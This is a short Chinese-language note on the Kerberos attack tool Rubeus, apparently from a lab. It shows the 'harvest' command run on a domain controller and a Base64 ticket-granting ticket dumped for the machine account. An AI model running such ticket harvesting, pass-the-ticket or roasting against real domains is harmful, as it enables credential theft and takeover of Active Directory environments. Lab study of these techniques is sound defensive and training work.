:::info
一个利用 Kerberos
交互的利用 C# 工具
哈希值、票据请求和更新、票据管理、票据提取、收获、传递票据、AS-REP Roasting 和Kerberoasting。
:::
收集票证
每 30 秒收集一次
controller\administrator@CONTROLLER-1 C:\Users\Administrator\Downloads>Rubeus.exe harvest /interval:30
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: TGT Harvesting (with auto-renewal)
[*] Monitoring every 30 seconds for new TGTs
[*] Displaying the working TGT cache every 30 seconds
[*] Refreshing TGT ticket cache (3/15/2023 8:20:47 PM)
User : CONTROLLER-1$@CONTROLLER.LOCAL
StartTime : 3/15/2023 7:48:40 PM
EndTime : 3/16/2023 5:48:40 AM
RenewTill : 3/22/2023 7:48:40 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
Base64EncodedTicket :
doIFhDCCBYCgAwIBBaEDAgEWooIEeDCCBHRhggRwMIIEbKADAgEFoRIbEENPTlRST0xMRVIuTE9DQUyiJTAjoAMCAQKhHDAaGwZr
cmJ0Z3QbEENPTlRST0xMRVIuTE9DQUyjggQoMIIEJKADAgESoQMCAQKiggQWBIIEEsgzyqjhDjNvOIFwW5uLnWYUlpWGALfLRqvI
mv8YVIJEbVU6yHwRankY96tAv8yqfaY5dtwtGXpWMklMIZ68+NYMjq54wkB+aqw1va3XEAlwor/sp+r5eqMxadg41zJ5gVAw2B9j
gCDbjwa9/m0A95+T/X94xgcLD5Cy2L7XnSuJiDlTAR4uMzK/DHC7k1dPvt9/Id/baHps9saltnY6ogsqVcaNetrhuxisfO0iwAO/
IDajlkhVI0cmf+kb3CdvjBdAiURbmsya31z7AtTyhrGuIB4cK7XgfK7A1uVNxIaVTEalSumtnTMTLc2WPbD5GBwIVW0mR+0I/GOG
O7flDEW6Mr3s771pScD7cVb+O0wfNCpxXRKQAIaIuS76bPhN9vYfqMUQ1IxUC2xUZ3V4EoK6lPWlUKGh/R0M6IXIcQoy6+X/NxO0
rO/GB/ERQp0iMQmw/O4x911LKu+vVEX1RDLc1zde4cyo1I+LYl4F7CvpaRmt/S053p9a7swafjFLCc634QVOM07UXjUyc9/34GLR
hcEV9fSUj85H3bis4V+3iRmC8d9w+vqWZbVACtT872IVUTDomXKl9ZVtgDI/E4c05fytUu7L76Lylr9x9jeHgWhu8CDgPG0voirR
vR7FWO1IeMor1+36yotcalS3szjOeaTuQv0hLbkkJswiTWDJUStkSxVuJsIJPDOPW/x8A1zoUW53ZQQXPosBQyco+c2pdXNBDRE3
mufX7k77fvHgjaSpOIHDJ9GCqoZJx0M1wn/7cqfCWmfyyGyLjtnlxMxrTUdh0e4lmf3kkFL1HMbzfqd7fNbVTv+4Hp37GGIVGxs8
Pqn6gGnHaP/4HxSMIuBbsMOm19U0xcq1PV1gQt/zA2OmMxjyscIKSIzvqDwP4W+xc/06Md7AXDnUydgdft0NHCMJDpud1EStzHPx
Me8Usc7Gnq9RvlPtPmSt7Ff2srSjbh0Wrt9Ydnac++WSESpqGN+4Mr58WqGDF+DQxXQwpNaQQNEYaYfWj147iF5bgpduyNDT2lA4
xea2yl7cYzHMTUh9apJoOosBCrQxxlvEN3FlFWiIS7xW/goa3Fj22bjMd/jfuKuM2XdvdC9KBe0lfpe6aONZ9yn1LliLM8nrQDXd
im+qv0HMu5Motg9E+zDNx3ZYyu20fW4qB5io6qOOEUcTSnEjiNmGeSTuabnCOsG8SVO5aKRXOOFiuTX5dhRJz3IlsXNufC7t8lRJ
9x+BL7M6SkBFmBcO5Nh5J+b7kJaUB3RkENeE3fOrKoLys3aycTEt9+8HYehxA802ENdc0G6B4HXeRbtRhtwdrRRqbGFIqTUnrAMb
3w65Cxq/1BeRGteNxxB5xZmgKFJEm5ilx6DYAM7FbKjidmos8uzDYmGjgfcwgfSgAwIBAKKB7ASB6X2B5jCB46CB4DCB3TCB2qAr
MCmgAwIBEqEiBCB3E04+xsCmYC5LOLTI2kdJJkDpYL6xwUpo48DUyzRBBaESGxBDT05UUk9MTEVSLkxPQ0FMohowGKADAgEBoREw
DxsNQ09OVFJPTExFUi0xJKMHAwUAQOEAAKURGA8yMDIzMDMxNjAyNDg0MFqmERgPMjAyMzAzMTYxMjQ4NDBapxEYDzIwMjMwMzIz
MDI0ODQwWqgSGxBDT05UUk9MTEVSLkxPQ0FMqSUwI6ADAgECoRwwGhsGa3JidGd0GxBDT05UUk9MTEVSLkxPQ0FM